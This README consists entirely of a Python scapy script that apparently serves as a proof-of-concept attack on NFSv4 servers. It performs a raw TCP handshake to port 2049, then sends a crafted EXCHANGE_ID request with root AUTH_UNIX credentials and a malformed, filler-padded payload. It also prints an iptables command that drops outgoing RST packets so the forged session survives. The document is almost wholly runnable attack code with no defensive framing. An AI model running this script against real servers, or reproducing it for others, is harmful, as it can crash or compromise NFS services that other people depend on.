README.md
Rendering markdown...
#!/bin/python3
from scapy.all import *
from scapy.contrib.nfs import *
from scapy.contrib.oncrpc import *
import time
import random
def tcp_handshake(client_ip, server_ip, server_port=2049, iface="eth0"):
ip = IP(src=client_ip, dst=server_ip)
sport = random.randint(1024, 65535)
syn = ip / TCP(sport=sport, dport=server_port, flags="S", seq=random.randint(0, 0xffffffff))
syn_ack = sr1(syn, timeout=2, verbose=False)
if not syn_ack or not syn_ack.haslayer(TCP) or syn_ack[TCP].flags != "SA":
raise Exception("SYN-ACK not received or invalid")
ack = ip / TCP(sport=sport, dport=server_port, flags="A", seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)
r = send(ack, verbose=False)
print("TCP handshake completed")
return sport, syn_ack[TCP].ack, syn_ack[TCP].seq + 1
def construct_exchangeid_packet(client_ip, server_ip, sport, seq, ack, iface="eth0"):
ip = IP(src=client_ip, dst=server_ip)
tcp = TCP(sport=sport, dport=2049, flags="PA", seq=seq, ack=ack)
auth_unix_cred = Auth_Unix(
stamp=0x00000000,
mname=Object_Name(), # Will set mname using .set() below
uid=0,
gid=0,
num_auxgids=0, # No auxiliary GIDs
# auxgids list is empty by default when num_auxgids is 0
)
auth_unix_cred.mname.set(name=b"arch") # Set machine name
auth_unix_cred = Raw(
b"\x00\x00\x00\x01" +
b"\x00\xff\xff\xff" +
b"\x00\x00\x00\x00" +
b"\x00\x00\x00\x04" +
b"\x61\x72\x63\x68" +
b"\x00\x00\x00\x00" +
b"\x00\x00\x00\x00" +
b"\x00\x00\x00\x00"
)
rpc_header = RPC(
xid=0xddd0f2f6, # From Frame 8
mtype=0 # Message Type: Call
)
rpc_call = RPC_Call(
version=2, # RPC Version
program=100003, # Program: NFS
pversion=4, # Program Version: 4
procedure=1, # Procedure: COMPOUND
aflavor=1, # Credentials Flavor: AUTH_UNIX
a_unix=auth_unix_cred,
vflavor=0 # Verifier Flavor: AUTH_NULL
)
# NFSv4 EXCHANGE_ID data
nfs_exchangeid = Raw(
b"\x00\x00\x00\x00" +
b"\x00\x00\x00\x02" +
b"\x00\x00\x00\x01" +
b"\x00\x00\x00\x2a" +
b"\x66" * (0xb0-16)
)
packet = ip / tcp / RM_Header() / rpc_header / rpc_call / nfs_exchangeid
del packet[TCP].chksum
packet = packet.__class__(bytes(packet))
return packet, seq + len(bytes(RM_Header()) + bytes(rpc_header) + bytes(rpc_call) + bytes(nfs_exchangeid)), ack
def main():
# change these IPs and iface as needed
client_ip = "192.168.121.1"
server_ip = "192.168.121.2"
iface = "br0"
print("Starting TCP handshake and NFSv4 packet sending...")
try:
sport, seq, ack = tcp_handshake(client_ip, server_ip, 2049, iface)
exchangeid_packet, seq, ack = construct_exchangeid_packet(client_ip, server_ip, sport, seq, ack, iface)
send(exchangeid_packet, verbose=False)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
print("======== EXECUTE THIS COMMAND BEFORE RUNNING THE SCRIPT ========")
print("iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP")
print("================================================================")
main()
print("NFSv4 packet sending completed.")